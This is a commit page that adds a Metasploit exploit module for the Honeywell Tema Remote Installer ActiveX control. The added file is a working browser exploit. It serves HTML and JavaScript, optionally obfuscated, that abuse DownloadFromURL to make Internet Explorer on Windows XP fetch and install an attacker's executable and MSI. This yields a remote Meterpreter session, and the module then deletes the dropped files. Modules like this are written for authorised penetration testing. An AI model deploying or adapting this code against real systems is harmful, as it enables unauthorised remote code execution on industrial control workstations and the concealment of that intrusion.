Skip to content

Commit fe8b9c2

Browse files
committed
Merge branch 'jvazquez-r7-honeywell_tema_exec'
2 parents 5fe2f96 + 736f8db commit fe8b9c2

File tree

1 file changed

+174
-0
lines changed

1 file changed

+174
-0
lines changed
Lines changed: 174 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,174 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::EXE
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "Honeywell Tema Remote Installer ActiveX Remote Code Execution",
19+
'Description' => %q{
20+
This modules exploits a vulnerability found in the Honewell Tema ActiveX Remote
21+
Installer. This ActiveX control can be abused by using the DownloadFromURL()
22+
function to install an arbitrary MSI from a remote location without checking source
23+
authenticity or user notification. This module has been tested successfully with
24+
the Remote Installer ActiveX installed with HoneyWell EBI R410.1 - TEMA 5.3.0 and
25+
Internet Explorer 6, 7 and 8 on Windows XP SP3.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'Billy Rios', # Vulnerability discovery
31+
'Terry McCorkle', # Vulnerability discovery
32+
'juan vazquez' # Metasploit
33+
],
34+
'References' =>
35+
[
36+
[ 'OSVDB', '76681' ],
37+
[ 'BID', '50078' ],
38+
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-285-01.pdf' ]
39+
],
40+
'Payload' =>
41+
{
42+
'Space' => 2048,
43+
'StackAdjustment' => -3500
44+
},
45+
'DefaultOptions' =>
46+
{
47+
'EXITFUNC' => "none",
48+
'InitialAutoRunScript' => 'migrate -k -f'
49+
},
50+
'Platform' => 'win',
51+
'Targets' =>
52+
[
53+
# HoneyWell EBI R410.1 - TEMA 5.3.0
54+
# Tema_RemoteInstaller.ocx 1.0.0.0
55+
[ 'Automatic', {} ]
56+
],
57+
'Privileged' => false,
58+
'DisclosureDate' => "Oct 20 2011",
59+
'DefaultTarget' => 0))
60+
61+
register_options(
62+
[
63+
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
64+
], self.class)
65+
end
66+
67+
def exploit
68+
@dropped_files = [
69+
'payload.exe',
70+
'ThinClient_TemaKit.msi',
71+
'ThinClient_TemaKit.log'
72+
]
73+
super
74+
end
75+
76+
def on_new_session(session)
77+
if session.type == "meterpreter"
78+
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
79+
end
80+
81+
@dropped_files.each do |file|
82+
win_file = file.gsub("/", "\\\\")
83+
if session.type == "meterpreter"
84+
begin
85+
wintemp = session.fs.file.expand_path("%WINDIR%")
86+
win_file = "#{wintemp}\\Temp\\#{win_file}"
87+
# Meterpreter should do this automatically as part of
88+
# fs.file.rm(). Until that has been implemented, remove the
89+
# read-only flag with a command.
90+
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
91+
session.fs.file.rm(win_file)
92+
print_good("Deleted #{file}")
93+
true
94+
rescue ::Rex::Post::Meterpreter::RequestError
95+
print_error("Failed to delete #{win_file}")
96+
false
97+
end
98+
99+
end
100+
end
101+
102+
end
103+
104+
def on_request_uri(cli, request)
105+
agent = request.headers['User-Agent']
106+
107+
# Windows 7 isn't normally supported because the user won't have write access to the
108+
# %WINDIR%/Temp directory, where the downloaded components are stored.
109+
if not (agent =~ /MSIE \d/ and agent =~ /NT 5\.1/) and agent !~ /Tema_RemoteInstaller/
110+
print_error("Browser not supported: #{agent.to_s}")
111+
send_not_found(cli)
112+
return
113+
end
114+
115+
# exec_payload.msi needs it to be named payload.exe
116+
# atm there isn't msi generation on the fly
117+
if request.uri =~ /payload\.exe$/
118+
return if ((p=regenerate_payload(cli))==nil)
119+
data = generate_payload_exe({:code=>p.encoded})
120+
print_status("Sending payload")
121+
send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
122+
return
123+
end
124+
125+
if request.uri =~ /\.msi$/
126+
msi_source = ::File.join(Msf::Config.install_root, "data", "exploits", "exec_payload.msi")
127+
source = ::File.open(msi_source, "rb"){|fd| fd.read(fd.stat.size) }
128+
print_status("Sending msi")
129+
send_response(cli, source, {'Content-Type'=>'application/octet-stream'})
130+
return
131+
end
132+
133+
if agent =~ /MSIE 6/
134+
# The 'setTimeout' trick allows to execute the installer on IE6 even if the user
135+
# doesn't click the warning popup when downloading the payload.
136+
# The ThinClient_TemaKit.msi installer name must be static.
137+
# <object id="obj" classid="clsid:E01DF79C-BE0C-4999-9B13-B5F7B2306E9B">
138+
js = <<-EOS
139+
var obj = new ActiveXObject('Tema_RemoteInstaller.RemoteInstaller');
140+
setTimeout("obj.DownloadFromURL('#{get_uri}/ThinClient_TemaKit.msi');", 1000);
141+
obj.DownloadFromURL('#{get_uri}/payload.exe');
142+
EOS
143+
else
144+
js = <<-EOS
145+
var obj = new ActiveXObject('Tema_RemoteInstaller.RemoteInstaller');
146+
obj.DownloadFromURL('#{get_uri}/payload.exe');
147+
obj.DownloadFromURL('#{get_uri}/ThinClient_TemaKit.msi');
148+
EOS
149+
end
150+
151+
js.gsub!(/\t\t\t/, "")
152+
153+
if datastore['OBFUSCATE']
154+
js = ::Rex::Exploitation::JSObfu.new(js)
155+
js.obfuscate
156+
end
157+
158+
html = <<-EOS
159+
<html>
160+
<body>
161+
</object>
162+
<script>
163+
#{js}
164+
</script>
165+
</body>
166+
</html>
167+
EOS
168+
169+
print_status("Sending html")
170+
send_response(cli, html, {'Content-Type'=>'text/html'})
171+
172+
end
173+
174+
end

0 commit comments

Comments
 (0)